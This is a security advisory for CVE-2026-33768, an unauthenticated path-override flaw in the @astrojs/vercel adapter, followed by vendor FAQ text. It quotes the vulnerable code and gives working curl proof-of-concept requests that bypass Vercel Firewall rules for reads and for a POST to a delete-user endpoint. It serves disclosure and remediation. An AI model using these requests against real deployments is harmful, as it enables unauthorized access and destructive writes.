CVE-2026-33768

The @astrojs/vercel serverless entrypoint reads the x-astro-path header and x_astro_path query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.

The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/* does nothing when the request comes in as POST /api/health?x_astro_path=/admin/delete-user.

Affected Versions

Verified against:

• Astro 5.18.1 + @astrojs/vercel 9.0.4, GET and POST override both work. Full exploitation.
• Astro 6.0.3 + @astrojs/vercel 10.0.0, GET override works. POST/DELETE hit a duplex bug in the Request constructor (the duplex: 'half' option is required when passing a ReadableStream body, this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix, the code explicitly passes body: request.body and intends to preserve it. Once the missing duplex option is added, all methods will be exploitable on v6 as well.

The vulnerable code path is identical across both versions.

Affected Component

• Package: @astrojs/vercel
• File: packages/integrations/vercel/src/serverless/entrypoint.ts (lines 19–28)
• Constants: packages/integrations/vercel/src/index.ts (lines 44–45)

Vulnerable Code

The handler blindly trusts the caller-supplied path:

const realPath =
    request.headers.get(ASTRO_PATH_HEADER) ??
    url.searchParams.get(ASTRO_PATH_PARAM);
if (typeof realPath === 'string') {
    url.pathname = realPath;  // no validation, no auth
    request = new Request(url.toString(), {
        method: request.method,   // preserved
        headers: request.headers, // preserved
        body: request.body,       // preserved
    });
}

What makes this worse is the inconsistency. x-astro-locals right below it is gated behind middlewareSecret, but x-astro-path gets nothing:

// x-astro-locals: protected
if (astroLocalsHeader) {
    if (middlewareSecretHeader !== middlewareSecret) {
        return new Response('Forbidden', { status: 403 });
    }
    locals = JSON.parse(astroLocalsHeader);
}
// x-astro-path: no equivalent check (lines 19-28 above)

Conditions

1. Astro + @astrojs/vercel adapter
2. output: 'server' (SSR)
3. No src/middleware.ts defined, or middleware not using Edge mode

This is a realistic production configuration. Middleware is optional and many deployments skip it.

The x-astro-path mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (_render) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.

Proof of Concept

Setup: minimal Astro SSR project on Vercel, no middleware. Routes: /public (page), /api/health (API endpoint), /admin/secret (page), /admin/delete-user (API endpoint). Vercel Firewall blocks /admin/*.

GET, page content override:

curl "https://target.vercel.app/public?x_astro_path=/admin/secret"
# Returns: PAGE_ID: admin-secret

GET, API route override:

curl "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"
# Returns: {"pageId":"admin-delete-user","message":"This is a protected admin API endpoint","method":"GET"}

Header override:

curl -H "x-astro-path: /admin/secret" https://target.vercel.app/public
# Returns: PAGE_ID: admin-secret

Vercel Firewall bypass (GET):

# Direct access, blocked
curl https://target.vercel.app/admin/secret
# Returns: Forbidden

# Via override, Firewall sees /public, serves /admin/secret
curl "https://target.vercel.app/public?x_astro_path=/admin/secret"
# Returns: PAGE_ID: admin-secret

Vercel Firewall bypass (POST), verified on Astro 5.x:

# Direct access, blocked
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
  https://target.vercel.app/admin/delete-user
# Returns: Forbidden

# Via override, Firewall sees /api/health, executes POST /admin/delete-user
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
  "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"
# Returns: {"action":"delete-user","status":"deleted","method":"POST"}

The Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.

ISR is not affected. Vercel's cache layer appears to intercept before the function runs.

Prior Art

CVE-2025-29927 (Next.js): x-middleware-subrequest header injectable by external clients, bypassing middleware. Same class of vulnerability.

Firewall/WAF bypass, read (Critical): Any path-based restriction in Vercel Dashboard or vercel.json (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.

Firewall/WAF bypass, write (Critical): POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated duplex bug in the Request constructor, not by any security check.

Audit log mismatch (Medium): Vercel logs record the original request path and query string (e.g. /public?x_astro_path=/admin/secret), so the override parameter is technically visible. However, the logged path (/public) does not reflect the path actually served (/admin/secret). Detecting this attack from logs requires knowing what x_astro_path means, standard monitoring and alerting based on request paths will not catch it.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-33768 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.0.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-33768? CVE-2026-33768 is a medium-severity missing authorization vulnerability in @astrojs/vercel (npm), affecting versions < 10.0.2. It is fixed in 10.0.2. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is CVE-2026-33768? CVE-2026-33768 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @astrojs/vercel are affected by CVE-2026-33768? @astrojs/vercel (npm) versions < 10.0.2 is affected.
4. Is there a fix for CVE-2026-33768? Yes. CVE-2026-33768 is fixed in 10.0.2. Upgrade to this version or later.
5. Is CVE-2026-33768 exploitable, and should I be worried? Whether CVE-2026-33768 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33768 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33768? Upgrade @astrojs/vercel to 10.0.2 or later.